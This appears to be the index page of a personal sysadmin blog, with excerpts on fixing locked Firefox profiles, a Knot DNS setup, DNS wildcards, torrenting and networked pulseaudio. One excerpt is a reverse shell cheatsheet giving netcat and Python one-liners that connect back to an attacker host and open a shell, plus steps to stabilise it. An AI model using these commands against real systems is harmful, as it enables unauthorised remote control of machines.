Sysadmin on eol's blog

Fixing firefox profiles - unlocking sqlites profile databases

Thu, 13 Nov 2025 13:05:31 +0200

tl;dr: firefox

find $HOME/.mozilla/firefox/$profile -name *lock -exec rm {} \;
find $HOME/.mozilla/firefox/$profile -name "*sqlite" -exec sh -c "sqlite3_analyzer '{}' | grep "locked" && mv '{}' '{}.tmp' && cp '{}.tmp' '{}'" \;

thunderbird

find $HOME/.thunderbird -name *lock -exec rm {} \;

My computer experienced a freeze, and I was forced to reset it

When I rebooted, I was greeted with a broken firefox

I had to delete the locks on both firefox and thunderbird:

Breathing new life in an old eReader

Thu, 07 Aug 2025 18:55:31 +0200

In 2016, I bought my first eReader, an Inkbook Obsidian, to avoid reading on my phone. It is an Android eReader, running Android 4.2.2, based on the chinese Boyue T63. Since then, it was my trusted reading platform. Not very modern, not very responsive, but to read books, I never needed that.

I mostly read in english, sometimes in french, but since October 2024, I’ve also been reading in Romanian, to help me learn more vocabulary and use the language. But if in either english or french, I never needed a dictionnary, in Romanian, I can’t go a page without looking up a word. Since I’m reading in the train, sometimes there is not cellular network, and I cant use the internet.

reverse shell cheatsheet

Sat, 08 Oct 2022 14:36:09 +0200

attack server

nc -lvp [port]

target machine

nc :

nc [attacker] [port] -e /bin/bash

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACK SERVER]",[ATTACK PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

stabilize shell

python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
[^Z]
stty raw -echo; fg

A master/slave DNS setup using knot

Thu, 04 Aug 2022 09:48:45 +0200

I have two domains, 3 internet facing servers, and I wanted the DNS to be replicated accross those 3 servers.

This setup is older than my post about [DNS wildcard](/blog/dns_wildcard/

At that time, I had to frequently push new domains on every single server.

I use Knot DNS server on all machines.

It can have a master slave setup, where the slave is notified by the master of any change, and update the zone to serve.

Satisfying my p2p addiction (and my aversion to fine)

Sun, 31 Jul 2022 21:22:14 +0200

I discovered p2p protocols, namely bitorrent, quite young.

I proceeded to download everything I thought I needed, mainly music and videos games at that time, on our shitty residential ADSL (it was really shitty, around 50-150kbps if I remember correctly)

Then came Hadopi.

It sucked. And suddenly it was in my name I was getting the feared letters

Recently, i’ve read that Swiss was a wonderful country for p2p

I already liked their chocolate…

I discovered DNS wildcard !

Sun, 26 Jun 2022 01:12:51 +0200

Why I am dumb

To host stuff, I obviously use DNS to access the various services I have, and to have a bit of load balancing.

I use knot for that, with a master/slave setup. Since most of my stuff is on a server in my flat, I use two cheap VPS as firewalls and proxy / NAT traffic through a tunnel.

So my zone file looked like that :

\[...\]

@                   IN  A       54.37.10.118
@                   IN  A       146.59.155.182

home                CNAME       avapxia
git                 CNAME       sysco.re.
acme                CNAME       sysco.re.
blog                CNAME       sysco.re.

avapxia             A           51.159.59.160
strigoi             A           54.37.10.118
moroi               A           146.59.155.182

\[...\]

This way, I have two IP addresses for each records, and I case OVH cook sausage again in one of their datacenter, I should keep access to my home server. It does not protect if I barbecue my flat, but at least I have control over that.

Centralized sound server with pulseaudio

Mon, 20 Jun 2022 23:31:05 +0200

A few years ago, I bought my first home server. I couldn’t bear the aging fans on my workstation, running 24/7 near my bed. I moved my MPD server to the NAS, plugged in my sound system (an old amp - not really modern tech with networking and bluetooth). There was no sound on my workstation, I couldn’t watch video, or play video games whith sound anymore.

I’m a lazy fuck, I did not want to plug / unplug the cable, or need to press some button on my amp to switch. But I found out that you could setup pulseaudio to play sound streams from the network And on a cabled lan, I have sub millisecond latency.